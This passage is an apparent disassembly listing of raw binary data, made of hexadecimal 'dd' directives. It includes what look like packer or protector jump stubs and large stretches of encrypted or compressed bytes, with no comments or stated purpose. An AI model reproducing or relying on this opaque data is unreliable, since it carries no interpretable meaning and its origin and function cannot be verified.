1CAA70CEh, 21AF72D0h, 0D95C2BA6h, 86F60CC2h, 8816D836h dd 46A41FD2h, 0F242F583h, 6516DE3Ch, 0CC2A796h, 0E16B34F6h dd 0B8F4B707h, 0EFBCD70Fh, 3FB2FE4Eh, 4A46F5C4h, 0B917F60Ch dd 66B669F7h, 3C056316h, 93F16CB8h, 9C8B41CBh, 3896491Dh dd 8814D76Fh, 0E93585D5h, 0C4A171Ah, 0AA932BF6h, 0C4A58DBh dd 65B505F6h, 0B7A91BEAh, 0C616FC13h, 8E0DD04Bh, 1E0FB9AAh dd 373706D5h, 0D828F00Bh, 8749A722h, 34037EF9h, 0F00B3701h dd 0E9B00E5Eh, 0A258A85Bh, 0A836F856h, 35D197F5h, 8412D872h dd 7E3181D1h, 0CD2BDE2Eh, 51CC7F05h, 53EC008Eh, 6B21CF5Fh dd 0DC0440Dh, 0CE9DA01Eh, 0F00B696Fh, 0D550A0F0h, 148BFA06h dd 23EC4AFAh, 0B909E399h, 0D7D16D5Ah, 388E41B4h, 0A2h dd 73BF5D0Ah, 79C55315h, 7ECA521Bh, 7ECA7420h, 7FCB5920h dd 6C337495h, 763E9CE8h, 8046A4F0h, 8548A6F2h, 0BD38ABF7h dd 6234FEEh, 4D3110F0h, 811918DBh, 8E501476h, 116F2272h dd 4D0FC24Eh, 824590AAh, 6C2FAAF6h, 0E6B5FC1Ah, 0F60C4557h dd 0A7F5B808h, 53FF5D9Eh, 0F0A6F6A9h, 0C3C68E50h, 10CE93h dd 6AEA0000h, 0F60C67C6h, 70BC480Bh, 241Ah, 0FBBE3600h dd 862A265Bh, 0E7B66C54h, 0F60C2D58h, 5F7A96Ch, 216518Ah dd 6A6BF028h, 0AC0100Fh, 0F5BE9ACh, 83CEE12Bh, 2, 2EDBB397h dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h dd 0E995F3A6h, 69329043h, 10D230E3h, 687ECF82h, 13D4h dd 57242489h, 4BFh, 247C0100h, 91685F04h, 89000014h, 0AC682414h dd 89000024h, 0DF68241Ch, 8B060A3Fh, 0C4812414h, 4, 252B68h dd 24248900h, 4240481h, 5B000000h, 8904EC83h, 8B82404h dd 1000000h, 581089D8h, 5B2434FFh, 8B04C483h, 89562414h dd 4C681E6h, 83000000h, 348704C6h, 1EE95C24h, 0AFFFD37h dd 44F6B830h, 0C503060Ah, 51E9D18Bh, 60000000h, 2424748Bh dd 8B3C7603h, 8B28247Ch, 0F8C281D6h, 66000000h, 0F064E8Bh dd 0F983C9B7h, 16840F00h, 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h dd 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch, 28C28300h dd 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh, 20EB00h dd 7 dup(0) dd 0E9000000h, 524h, 518E9h, 47956800h, 82E9060Ah, 68FFFD36h dd 60A4834h, 0FD3678E9h, 49B268FFh, 6EE9060Ah, 68FFFD36h dd 60A4A26h, 0FD3664E9h, 0AE4EFBFFh, 0B4420462h, 0BB410A68h dd 0C765116Fh, 0CA561D7Bh, 3A73947Eh, 43A1ED73h, 47A5F17Bh dd 49A7F381h, 3BAEFA86h, 2142F1C0h, 3C1BF006h, 8A12DB58h dd 673908D7h, 1CBF760Ch, 31B37502h, 80FB13C3h, 0C6882B1h dd 0D58BDB76h, 2252h, 0C66A6E00h, 7AF60C67h, 0C74D1644h dd 142DFC77h, 7DFC16ADh, 46E5F5BAh, 0B404C446h, 211268h dd 6A2E0000h, 0F60C67C7h, 0AA25437Bh, 16AD42DBh, 8349A7FCh dd 0AAFA4AFDh, 6420E35Eh, 9947336Fh, 0DB1F03B9h, 8D78A12h dd 760C673Ah, 0C796118Ch, 89F39874h, 40E399E9h, 8A12DBE6h dd 0FC6A4F3Eh, 888FB281h, 0D93789F3h, 89D98C10h, 0F6A9F9D3h dd 0CB711D7Bh, 68F4B715h, 90A372EDh, 0CD89F388h, 8C7BC77Dh dd 40BB3632h, 8847F6C5h, 0C81889F3h, 75AD4312h, 1B7983ECh dd 3C16CC58h, 0C76A39ECh, 0C8FF4BAh, 0AD0BBE60h, 31AC5FE5h dd 0F4BAD362h, 0C03C8C8Fh, 0F0B8051Dh, 1363B366h, 800F27CAh dd 0DBC07BEh, 41108B06h, 8FF482F2h, 0E94C1B6Bh, 768FF482h dd 75FFC826h, 833CBFh, 4A580000h, 0B679F474h, 47CEA4C5h dd 0D24D03B4h, 0F1889457h, 7208B8C7h, 916CEDBCh, 65B5FC16h dd 3FC58CEAh, 0D9672E8Ch, 0D086D626h, 905FDA55h, 0F0066EADh dd 4EAC62B2h, 53B1FD8Bh, 45A50490h, 0E1AECDE1h, 2D0D82Eh dd 0C3700000h, 0AD6FCD19h, 0AC75D31Fh, 0D27EDC28h, 0BB82E02Ch dd 0DEFFE935h, 0FE4AD69Dh, 24ED8A0h, 0C58DEA4h, 115DEBAEh dd 0E154239Eh, 7EF00620h, 9BE3BB9Fh, 68000002h, 8BE440Ah dd 8A12DB24h, 3CFE5CD7h, 0F5ABFBAEh, 0C671B26h, 8B4DABF6h dd 7FFA4AFDh, 0C678DB0h, 0CC82D2F6h, 0C68B2FDh, 678CAEF6h dd 51E0F60Ch, 11F60C67h, 0F60C672Eh, 0C67FF42h, 0FD6B53B6h dd 5CDDB382h, 0DA2A3C16h, 0E2863827h, 7AB89867h, 0A96C3A1Ah dd 7FE312B0h, 714B016Eh, 9832C221h, 25D8F4C9h, 231CFh dd 0BA620F00h, 0C04E106Eh, 0C74D1674h, 0CB711D7Bh, 0D65A217Fh dd 3E7FA08Ah, 3F9DE977h, 43A1ED77h, 4DABF77Dh, 3FB2FE8Ah dd 2F46F5C4h, 3817F006h, 8C18DB54h, 61EBB311h, 38A5EBAEh dd 6855A2D8h, 0C0AF6218h, 20EF6AFEh, 0FC16C623h, 0D29E24E7h dd 0FE580BF1h, 0CC8F504Bh, 0B76D0CCDh, 97128DDDh, 65475C8h dd 3C9AEAF0h, 0E737EA74h, 0BE87E531h, 0C38CEA36h, 27978639h dd 72F7C641h, 0C7FA1C9Eh, 52B02B77h, 7D4C0290h, 0F60C11B2h dd 22C5308Eh, 0B9E575D5h, 9D853A3h, 0FC164B18h, 38961161h dd 0E232E56Fh, 9053B12Ch, 975AB804h, 67308E09h, 0CA7D07CFh dd 27772A7Ah, 0B0EFBE71h, 0F0F006CBh, 501F9ACEh, 0FA1C0ECBh dd 27850050h, 2E8CD864h, 5B2ADD6Bh, 0F60C8E24h, 0AB26427Ch dd 164B6FDCh, 984D4FCh, 0A24EE8ABh, 0A9F949FCh, 0B03CFF5Dh dd 5C15D735h, 6C4AE8Dh, 0F5FAFF0h, 7B7A659h, 3E17E661h dd 93FA1C0Eh, 7EC19043h, 78F60C81h, 4FDD9FFDh, 0E352219Ch dd 7CF60C81h, 8326DC2Ch, 151ADCABh, 46293C4h, 8D55B341h dd 13CE5107h, 0EA000000h, 0C84C76Ah, 0E14F6h, 3B990000h dd 0E737EA72h, 0C76A4D31h, 86F60C81h, 79F4744Ah, 16ADB5AAh dd 1BCE1EFCh, 5BD6922Ch, 19D2EC8Ch, 0F9558FAh, 5739422Eh dd 1B0A487Ah, 0BC0CD7C6h, 7DDC2C06h, 0B4CA5581h, 0B38CE295h dd 8D000000h, 92F03CE0h, 98F642D0h, 9BF945CFh, 0A3014DEFh dd 220C58DCh, 7301C801h, 7B01C927h, 850BD12Fh, 8C18DB39h dd 8352CD40h, 0F0062EB0h, 4AEACEADh, 0AA79F474h, 0FC16ADB5h dd 0A01BCE1Eh, 42F57B42h, 714D3CF2h, 409E22E9h, 0E838EB79h dd 27A21D98h, 622E558h, 5B2A7AF0h, 0F00622D8h, 47F3585h dd 19C71735h, 0B91868FAh, 0B4CA8B4Fh, 3FDA30E3h, 1000000h dd 0E6CB854h, 1472BE4Ch, 1775C14Bh, 1775C16Bh, 8E78C450h dd 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh, 0F07C3F9Dh, 0E7B631A4h dd 0F0062D54h, 0BE462A09h, 5A0D9760h, 3FE540Ah, 1A000000h dd 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h dd 2AF14F02h, 0E995F3A6h, 69329043h, 10D230E3h, 687ECF82h dd 5F67h, 53243C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 8951242Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2414895Ch dd 4EC81h, 1C890000h, 4620BB24h, 0DD89060Ah, 6B96685Bh dd 24890000h, 24048324h, 55515A04h, 58243481h, 595ACC4Bh dd 4B58F181h, 4A895ACCh, 34FF5908h, 0C4835A24h, 2434FF04h dd 4C4815Dh, 0E9000000h, 0FFFD3181h, 6420A6A6h, 0F3806E40h dd 0FB8F8E04h, 4A8AB828h, 0C503060Ah, 11E8C88Bh, 48000000h dd 0EEE2F58Ah, 0DE367380h, 9A1F944Ah, 0CC1D791Ch, 5FC28B66h dd 0E756B866h, 6601C781h, 66B90000h, 8116CD0Ah, 0CCF111E9h dd 0A1B86616h, 0E91F8B78h, 10h, 14622C3h, 0CED08C80h, 0EA1419FBh dd 0CEAC8264h, 8514EB81h, 0D6810194h, 98A5B48h, 0BE4BC381h dd 850F5E73h, 15h, 0EE960h, 8E5C0000h, 30DA8AB7h, 0BEC4B06Eh dd 32512B1Dh, 9BC38161h, 0B603BFA1h, 0F1F8974h, 0A8Ch dd 4860F00h, 66000000h, 83C212BAh, 0C88101EFh, 4A0544B5h dd 8A4F4F4Fh, 850F49C7h, 0FFFFFF8Dh, 8E9FC60h, 2F000000h dd 2C6762EDh, 612F99F2h, 0D9E9h, 0BE1D2000h, 82C12C0Fh dd 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 91B8009Ch dd 0CD64F7F6h, 389382h, 3C0000h, 400000h, 940000h, 50000h dd 10000h, 0A280000h, 20000h, 20h dup(0) dd 0F9C80000h, 44E96069h, 6800001Fh, 60A4EDCh, 0FD2FC8E9h dd 4FD768FFh, 0BEE9060Ah, 68FFFD2Fh, 60A5094h, 0FD2FB4E9h dd 514768FFh, 0AAE9060Ah, 68FFFD2Fh, 60A51E6h, 0FD2FA0E9h dd 52C068FFh, 96E9060Ah, 68FFFD2Fh, 60A53A4h, 0FD2F8CE9h dd 546168FFh, 82E9060Ah, 68FFFD2Fh, 60A5837h, 0FD2F78E9h dd 58BF68FFh, 6EE9060Ah, 68FFFD2Fh, 60A59FDh, 0FD2F64E9h dd 5CA268FFh, 5AE9060Ah, 68FFFD2Fh, 60A6057h, 0FD2F50E9h dd 63A668FFh, 46E9060Ah, 68FFFD2Fh, 60A6526h, 0FD2F3CE9h dd 65A068FFh, 32E9060Ah, 68FFFD2Fh, 60A65F0h, 0FD2F28E9h dd 664568FFh, 1EE9060Ah, 68FFFD2Fh, 60A6730h, 0FD2F14E9h dd 688A68FFh, 0AE9060Ah, 68FFFD2Fh, 60A696Ah, 0FD2F00E9h dd 0AB25FFFh, 109E60BEh, 179D66C4h, 1BC16DCBh, 26AA71CFh dd 8ECFF0DAh, 8FED39C7h, 93F13DC7h, 9DFB47CDh, 8F024EDAh dd 2AF64514h, 8867F006h, 8C18DBA4h, 67EDB311h, 0C04FF1B4h dd 6F9CBB42h, 58B6691Fh, 0D27EDC95h, 5A29792Ch, 0F60C44DBh dd 98E43484h, 0D85315A9h, 7A2DB37Ah, 1CCF551Ch, 32017CCCh dd 0F60C4403h, 0DB560C5Ch, 1349D40Ch, 1ED121FCh, 0F27E45A3h dd 6A39EF3Fh, 0F00B46C7h, 0D7A47E21h, 99CA4C15h, 3655h dd 905FDA00h, 0F00B4EADh, 0C8AC62B2h, 79F4744Ah, 13752AAAh dd 0B274D2FCh, 6B217124h, 68C64191h, 0A95C12BCh, 0B6A57DAh dd 54EE91F0h, 0CA3B8547h, 0D9C599h, 0DBE10000h, 2AB87E18h dd 2E7E20CCh, 57561D7Bh, 23666E2Fh, 0E497E764h, 8235C386h dd 87D36124h, 0C3646B8h, 0C85417F6h, 7C6A8A4Dh, 0AD583D1Dh dd 5A1060E4h, 5FEDB00Eh, 0E7B631ACh, 0F60CF154h, 1403B909h dd 0E543BEAAh, 93E39622h, 89E762DDh, 3C8C3FDDh, 0E5DB786h dd 54B2FC13h, 6CB8088Eh, 0AC27417Dh, 1227D331h, 0F18A6BC9h dd 12C5158Ch, 9A3D0CC2h, 6AFA1191h, 6B9430Ch, 0D62600B6h dd 0AE3AFD5Bh, 581F7DF8h, 5B2280CCh, 0C82E76D5h, 29DCB4C9h dd 1C7ED3h, 620AB700h, 68F6B816h, 6FF5BE1Ch, 7319C523h dd 7E02C927h, 0E6274832h, 0E745911Fh, 0EB49951Fh, 0F5539F25h dd 0E75AA632h, 299E9D6Ch, 0E0BFF006h, 9014DBFCh, 60A95215h dd 0DFDC1BEAh, 0BC7FDD29h, 4A00E430h, 0AA79F474h, 0FC13752Ah dd 0A1702373h, 0F00B6A9Eh, 40F38143h, 359319E2h, 0A135E86Ch dd 5EA724FEh, 521463BBh, 9299CA3Ch, 0CFh, 8C18DBAEh, 0BDB47BD9h dd 0FFB2C05Fh, 0B30394h, 0C47C131h, 83FE79F6h, 0C4881B4h dd 0BF8EDEF6h, 0F60C487Ch, 35D783E1h, 0ED12FE5h, 40BB3682h dd 0C48C271h, 0C35117F6h, 85E399E9h, 948336C2h, 0F4C33E2Ah dd 0FC13B798h, 2B0AD954h, 34F00B78h, 4542EE4h, 73F5C9B8h dd 107D29F8h, 76C6FA11h, 3CD69DFBh, 0B5417673h, 0D5263152h dd 3282D285h, 0C0C188E6h, 0D597D8E5h, 81449447h, 0B101AABBh dd 0C92C5C52h, 0E93FF2B4h, 1B83h, 1B6705B2h, 216DFBBDh dd 2672FAC3h, 26721CC8h, 277301C8h, 14DB1C3Dh, 1EE64490h dd 28EE4C98h, 2DF04E9Ah, 65E0539Fh, 628A796h, 0F5D9B8F0h dd 159014DBh, 6768CB9Ah, 0A5F5F60Ch, 8245A3EFh, 0DBC6AAF6h dd 5ED98C18h, 0FAAD3700h, 0D396F4AAh, 0AC40F945h, 60FEAA08h dd 0B8A75DADh, 18E76206h, 0FC137DC4h, 9A935AB8h, 0D3B7E8A4h dd 32E53589h, 2522CE2h, 10B77E4Dh, 0BB03B49Dh, 0F4B732ADh dd 26070E08h, 8614D6D1h, 8311D836h, 0FBCA80D0h, 469A9EEDh dd 68570A5Ah, 0C8971256h, 409D860Ch, 38961161h, 3D9BE775h dd 4A517B7Ah, 0FE7A0C24h, 0BA694FAEh, 6A1DFA4Eh, 1AC614h dd 1AC26F00h, 20AE70CEh, 27AD76D4h, 2BD17DDBh, 36BA81DFh dd 9EDF00EAh, 9FFD49D7h, 0A3014DD7h, 0AD0B57DDh, 9F125EEAh dd 37E65524h, 9877F006h, 9E60BEB4h, 77C69510h, 0E8F60C67h dd 0C184E298h, 0A7058033h, 0AC9B51FBh, 0AE8FE312h, 8B382DEh dd 8E7FBE8Dh, 90E0F60Ch, 5AF6C540h, 0ABFC1367h, 4BFE8A4Dh dd 0A65FABFBh, 0A8C0FE16h, 0B23E5E2Dh, 9C5FFA14h, 0D318F747h dd 0AD7CF726h, 0F60C058Eh, 7A2F7FCFh, 0BDA40FABh, 0E97F3FBDh dd 0AD499F6Eh, 6EBE3BA2h, 76F2CCBBh, 0B5702CFBh, 8DDD3DA5h dd 63F1B412h, 6AF6B917h, 26C3B70Bh, 469C4FEDh, 1A13h, 8BD77522h dd 91DD6B2Dh, 96E26A33h, 96E28C38h, 97E37138h, 844B8CADh dd 8E56B400h, 985EBC08h, 9D60BE0Ah, 0D550C30Fh, 6363706h dd 654928F0h, 0D98C18DBh, 1994D4EAh, 1396EA4Ah, 0B174D2FCh dd 6A207023h, 3BF44090h, 4C1CA2BAh, 52D202D1h, 884BFA14h dd 0EE363901h, 17CC1C99h, 0B5F74748h, 5117A792h, 0FEE107D6h dd 65660BBh, 0E5A6453h, 0E608C493h, 76566BCh, 0ED68B844h dd 0F440CC8Fh, 924CB679h, 0FC2D4E47h, 1E2FCB39h, 0B66CFB6Eh dd 0A8079558h, 182F4C24h, 74F94F02h, 0C1000019h, 0CE2C7814h dd 0D4327E0Ch, 0D735810Bh, 0D735812Bh, 4E388410h, 9F25EC2Dh dd 0A72DF553h, 0A937FD5Bh, 0B03CFF5Dh, 0A776F164h, 0F0063694h dd 0BE06EAC9h, 580B9960h, 0D4C04508h, 675AA113h, 49053B1h dd 0E0642B89h, 3688772Ah, 0FBF4B732h, 0C7631C3Eh, 0FB76F1A7h dd 67A09538h, 106013A1h, 0EB3684Dh, 44678958h, 2070FC13h dd 32FB59D4h, 4C0DE7AAh, 87BC208h, 0FC149952h, 5C2BA6C2h dd 0FA144838h, 91601565h, 0F34F3CB8h, 0F333C2FCh, 4013A202h dd 910C87D7h, 0CFDE84CEh, 279A14Eh, 0CF05C8C8h, 41521591h dd 0B1A921Fh, 0DD2BFAB0h, 890151D8h, 25DB692Bh, 5948FB4Bh dd 0B9880365h, 756C003h, 43A11C6Ch, 971DE680h, 0DA9DFB47h dd 98E7EF4Eh, 0EC9FB795h, 189A96h, 4EEE9B00h, 54E2A402h dd 5BE1AA08h, 6705B10Fh, 6AF6BD1Bh, 0DA13341Eh, 0E3418D13h dd 0E745911Bh, 0E9479321h, 0DB4E9A26h, 35A29160h, 0DCBBF006h dd 8C18DBF8h, 69D4EAD9h, 0C679B9Ah, 2474C4F6h, 0DC5F2EA9h dd 81F60C67h, 31007B31h, 0FC1385CFh, 6CF2BA18h, 8143A11Ch dd 38F13DF3h, 3A2E90A8h, 23E644BFh, 0D884E295h, 0E3338336h dd 7A9A9968h, 73C3F00Bh, 60AEEEBDh, 9FEFFA14h, 57551BEAh dd 516D89D5h, 0BBCD9C17h, 6B6FDB6Eh, 3AF4B0Dh, 656A659h dd 0AB267650h, 4A00844Dh, 5216A897h, 0AE8D5CD7h, 0AF63C3B1h dd 5F2EA95Fh, 69DC76A5h, 0E9F4A669h, 0D09321E4h, 0CE846DC6h dd 8BAA79F4h, 0D465C46Bh, 0D727AD76h, 0EBAE0C87h, 0F0B3115Dh dd 6BCB6A39h, 449465C4h, 0E54B95F4h, 4CFF210Fh, 17B6F6h dd 2AD27F00h, 30BE80DEh, 37BD86E4h, 3BE18DEBh, 46CA91EFh dd 0AEEF10FAh, 0AF0D59E7h, 0B3115DE7h, 0BD1B67EDh, 0AF226EFAh dd 34D66534h, 0A887F006h, 8C18DBC4h, 74C79611h, 0E9F60C67h dd 679C9F6Eh, 71C1F60Ch, 0C9B86B21h, 2D0300F5h, 7612D454h dd 6D30AB26h, 8F5E4CEBh, 0F60C14ACh, 0C99E61B1h, 0E8AF0D13h dd 0A359A95Ch, 161890D4h, 229DEDFCh, 0B96501C4h, 0FFDA5013h dd 4D47A72Dh, 23E2B1FDh, 87F00611h, 8CEA3650h, 0EF3BC9h dd 602FAABEh, 0FA1CCD2Ch, 3C64191h, 5B3BBFFCh, 235A1D7Fh dd 8E5374E5h, 288601B7h, 2E8CD866h, 0CD2BDE6Ch, 0CB1F7E0Ah dd 6BB4D7C6h, 16F962B8h, 8F3C0000h, 8143A1EDh, 8049A7F3h dd 0A652B0FCh, 975EBC08h, 0B2D3BD09h, 0E22EB279h, 0E632BC84h dd 0E834C288h, 0ED39C78Ah, 0D30FF7Ah, 52F00633h, 60BE8F73h dd 0E7059C9Dh, 9A5D6492h, 9147974Ah, 52211CA2h, 0F60C34E3h dd 0F3A630F8h, 2979C9A3h, 0E7ADDFAEh, 0C212FC16h, 9A26E947h dd 5010D34Eh, 0CEA1F705h, 15C2B167h, 0E827F671h, 5DF00682h dd 8D2013E2h, 0ED3DF006h, 8D90A372h, 7DCDF006h, 3CFF7A2Dh dd 0D2227CD5h, 93621874h, 0F0062BADh, 8655D04Bh, 0F0062BB7h dd 0FC824AA8h, 0FB53F6ACh, 0CD76EAACh, 622A99h, 0BE460000h dd 580B9960h, 5DAD33FAh, 671FB8A7h, 0A32E29ECh, 72C8EC61h dd 10C35114h, 0C08F0AC0h, 0F60CA079h, 1CEB9EEEh, 0F60CA015h dd 891630D3h, 93C3F1C7h, 2B07h, 0C66A2300h, 7AF60C67h dd 0E6A92444h, 199DE65Ah, 0AE29DFF5h, 134165DFh, 0FF7ACAFCh dd 9B47DBA1h, 9EEE3EF1h, 913D9BEBh, 5E935EBh, 79F4744Ah dd 4BD9A0FEh, 0C3924898h, 0FC136CC1h, 429C7B3Eh, 6E38D7EBh dd 0BE09C9Fh, 2171C1F0h, 0FDC01ED1h, 2C5236Fh, 9E65C376h dd 44E75F12h, 901CDFEAh, 9523E644h, 9DCBF3E2h, 0F515322h dd 0EBAEFA14h, 21A1F86Eh, 4B97E76Eh, 0C7902AEDh, 0EA3A8A3Dh dd 0C349116Fh, 570AC010h, 43A35688h, 0B08A2D6Eh, 6636225h dd 0A5CD09A8h, 0A43AF9C8h, 0D3238E3Ah, 6CE73383h, 0A41322F1h dd 0FC4C8E3Ah, 9725E846h, 34DA86E4h, 0D25A2381h, 72FEC11Fh dd 0C67544BFh, 978E3AA4h, 122CCF47h, 3C641D5h, 0D8FEB52Fh dd 0C5681E95h, 0F9D606Dh, 16A265C3h, 0C48AE863h, 74F14413h dd 1E6E8E3Ah, 15CB1BCEh, 0F9C29826h, 2070C073h, 7802D6A5h dd 43938425h, 32017CF7h, 883D7703h, 0F8560C5Ch, 96F4A735h dd 379548CEh, 0D634E775h, 55D1842Ah, 0E35B98B2h, 18DBE640h dd 7B3118Ch, 181BEA65h, 45883D77h, 78F33FF5h, 15CB511Ah dd 0B568F4B7h, 0F570F8C6h, 228BAA26h, 7FCB1B82h, 0D8A75E21h dd 8E3A4465h, 0A75AAAFAh, 4FBC692Ch, 0B0D00ACFh, 4E018F52h dd 0B67948FEh, 9C7E3AE9h, 0D19421F9h, 0D399F743h, 753C9A4Dh dd 6A1674EFh, 83065051h, 0D6264AE4h, 6A1DD323h, 0A02D05A8h dd 73D14CDAh, 1E6E21ABh, 0F8BE1C68h, 0AD59B76Ah, 41E45C0Fh dd 8216DCE9h, 358538D6h, 753B99E5h, 714D3CEFh, 0E3EFDCCh dd 0CF1F9E3Ah, 7326AA71h, 8958D323h, 9425051Bh, 0BA7948C3h dd 0A3983D0Ah, 73C39D53h, 0EE8835F8h, 5A1DA770h, 6B216D5Dh dd 0A98124B8h, 16C2561Ch, 32AD2878h, 3D6FD063h, 873D8D98h dd 8E1ADD3Bh, 2EBA7DDBh, 3C16B97Bh, 0E762EEB1h, 6F9E9D6Ch dd 6FBF983Dh, 0BCD6DB9h, 4B01F437h, 42h, 9760BE67h, 540A5A0Dh dd 412F30F6h, 447954A8h, 0E03EB909h, 8BDB8E18h, 8B3322D5h dd 6CE762DDh, 0C1C9E9Dh, 0B96FBFF6h, 13099AEAh, 4793E3FCh dd 38F1h, 52187600h, 0EAB311C4h, 0F5FAF62h, 60BE7559h dd 9590C9Ah, 932FF553h, 42F545E7h, 82FD6B53h, 13969DB3h dd 0A027EAFCh, 0E7B4D78Dh, 3FBA0656h, 16DC497Ch, 0C77DAF49h dd 4CF080E3h, 0E79D2BEEh, 27A2C6F8h, 0FF854EACh, 0B281FC4Ch dd 0F60C6783h, 7D68CDCh, 0FC137DD5h, 7645FA4Ah, 0ECB86BC7h dd 0B22D3B83h, 4EEDBC37h, 0F04B865h, 654DF0BFh, 0C21204B8h dd 61179D64h, 93F117E6h, 47A50EA7h, 0F343F67Eh, 0F6A0633Dh dd 772C8186h, 806F2272h, 0E0AF2A3Eh, 8A01524h, 60BE3989h dd 48C30F9Dh, 0EA3FFECDh, 0D02004B8h, 6BF9BC1Ah, 2363E80Ch dd 156B1EC2h, 1323h, 7BC76512h, 81CD5B1Dh, 86D25A23h, 86D27C28h dd 87D36128h, 743B7C9Dh, 7E46A4F0h, 884EACF8h, 8D50AEFAh dd 0C540B3FFh, 63F47F6h, 553918F0h, 0C68CB6Ah, 293F7FF6h dd 0F08850AEh, 9AEA9D27h, 9147974Ah, 87754716h, 9AEAFC13h dd 67FBC11Fh, 0E5E11BBh, 1FE543BEh, 318FDB91h, 0EF6AE56Bh dd 0B781D20h, 3CF242F0h, 0B1682B89h, 0B7853E2h, 0C2910CF0h dd 0F00B7873h, 0FC4C9CECh, 0D0D2619Dh, 0AC02B5AEh, 129Bh dd 34FED9Ah, 955E3A5h, 0E5AE2ABh, 0E5A04B0h, 0F5BE9B0h dd 0FCC30425h, 6CE2C78h, 10D63480h, 15D83682h, 4DC83B87h dd 63FBF7Eh, 0DDC1A0F0h, 79F4744Ah, 81B483FEh, 3DF60C67h dd 0C67CF6Eh, 664090F6h, 66F0B816h, 0DEAD63B3h, 0FC1386DEh dd 0A19463DEh, 0BEF00B79h, 193B46FBh, 0C818EFD2h, 6DE83812h dd 73BF4D0Fh, 12C55315h, 9355F1B4h, 0B2025205h, 54D8A1FFh dd 0F27A43A1h, 40DA7D3Fh, 0F24CEF83h, 4B9725E7h, 0D9FF1792h dd 0AE1D8A1h, 8D7E0DF0h, 0E939EC3Ch, 0C486E499h, 20D36128h dd 0FECD80D0h, 0F00BD432h, 9D50DC9Fh, 16DF773Fh, 3B8BDB8Eh dd 2E08AB88h, 0C45E01B1h, 0D99B37F9h, 0F848984Bh, 0FE8C4EACh dd 6625C4Bh, 694D108Bh, 0B53B01F0h, 9EEFB202h, 0D3623147h dd 8CF00B1Eh, 6736EC3Ch, 0FA11CAD9h, 65C33E8Eh, 6CCA16A2h dd 79681BA9h, 0D9A82345h, 0FC1B866Ah, 8D0883D3h, 75414F12h dd 43B57F94h, 0B83C174h, 984E9EF0h, 9DE9773Ah, 4A7D7C3Fh dd 0F9281D9Bh, 0BCAB5EAEh, 1CEB6602h, 0FA14A0B4h, 0A49766E1h dd 0B9F60C7Fh, 4EBA1969h, 0E4B4D7D9h, 115DDB31h, 2BD80000h dd 15D73581h, 14DD3B87h, 3AE64490h, 23EA4894h, 4667519Dh dd 66B23E05h, 6AB64008h, 74C0460Ch, 79C55316h, 79BC8B06h dd 0E6F0063Eh, 43BE2307h, 0C67C174h, 984E9EF6h, 0C6893C9h dd 24B278F6h, 93D5E9D8h, 0B3C24918h, 0DB2BFC16h, 0B3390260h dd 7D11DA38h, 28DB2BD1h, 0F2D622D8h, 0AB460BEh, 0B1510757h dd 944322EFh, 13F2Fh, 724A4B00h, 4343183h, 0BD0D38DDh dd 8043BED9h, 87F7C630h, 7C4B0114h, 0F60C2DB4h, 62EAB311h dd 0DABE2E12h, 4AAEBB96h, 0A613F76Fh, 0FA8E4AC2h, 0AB098416h dd 51985BE9h, 0D5490667h, 0BEE3C77Dh, 570AB460h, 0FFB15107h dd 3F96C322h, 50h, 846F4A5Bh, 0D1551C02h, 432777B6h, 0C17443BEh dd 9EF60C67h, 4E1D984Eh, 0F60C67E2h, 0B58857D2h, 0AAF60C67h dd 7ACAA45Ah, 0DBDABE96h, 0B10F8A12h, 39158EAh, 0FAB00050h dd 9E60BE16h, 0AF0D5D10h, 0A95FEDh, 34E31Ch, 0A680000h dd 2105BB41h, 13F76F4Ah, 0B9960BEh, 6772C190h, 9BEBF60Ch dd 959B6AE5h, 32F60C67h, 0DABEFEE2h, 0F8A12DBh, 9EF3EAB1h dd 0AEDCF1E1h, 0B89C52A2h, 0E799AC90h, 2796C322h, 36h dd 0FA8E4A43h, 0DDA6047Fh, 67B58857h, 4CAAF60Ch, 0F5ABFB89h dd 0C843BE11h, 0C673AF9h, 1DD323F6h, 0C67E24Eh, 3F2373F6h dd 19DBDABEh, 0AC90A78Bh, 2DE3h, 8E4AFF00h, 0E89B29ECh dd 0ED733A98h, 0B69AEA3Ah, 0AB460BEh, 677DC08Fh, 92E2F60Ch dd 0AE9261DCh, 27F60C67h, 0DABEF3D7h, 0A78B19DBh, 0B1E3AC90h dd 0FFFFFFFEh, 79F4744Ah, 16B47AAAh, 0F873C3FCh, 0FD49D79Ah dd 42BDC90Eh, 62BC073h, 9A4D9DF0h, 62B6ECBh, 49E184F0h dd 0CD76783Ah, 40B899h, 6AD40000h, 0F60C67C7h, 6FBB490Ch dd 0C6790A0h, 0FFC624F6h, 5E119B63h, 0BB0BBE0Eh, 0C0A81605h dd 907CA45h, 1FF4C1Ch, 0BD3F8A50h, 0D1214463h, 0BF04C1Bh dd 0FF5DFC13h, 0D59A953h, 0BAB7h, 744AD300h, 0C2AA79F4h dd 2BFC1384h, 390260DBh, 0FAB000B3h, 0D55B217Fh, 0DF652B89h dd 8B53B12Ch, 48FE4E01h, 2EF56559h, 419FEFA2h, 0F343F67Ah dd 0DF5928A3h, 88FA11AFh, 0C742BD38h, 13745F8h, 6CCA1AF6h dd 6641AA4h, 0D937B240h, 87D38917h, 62DD6329h, 0FFB23C04h dd 5746F9AFh, 3407D667h, 29F60137h, 3F0E89D9h, 0FC1BFCEAh dd 2684FF4Fh, 975AD563h, 463ED617h, 24E0454h, 0F453E1A4h dd 0AED0861Eh, 0B8DF35E8h, 7D00000Eh, 82E02CD0h dd 88E632C0h, 8BE935BFh, 93F13DDFh, 12FC48CCh, 63F1B8F1h dd 6BF1B917h, 75FBC11Fh, 7C08CB29h, 7342BD30h, 0F0063BC0h dd 0DBDABE9Dh, 7BD98C18h, 0B7792CB8h, 0ECAF3A14h, 0B2741460h dd 0F293C32Ah, 4Dh, 0CE521977h, 744A3418h, 1B9624E6h, 0C67E94Ch dd 0D62676F6h, 2211E05Bh, 3BF60C67h, 0EBBA35EBh, 0FC13919Dh dd 0C11F9AEAh, 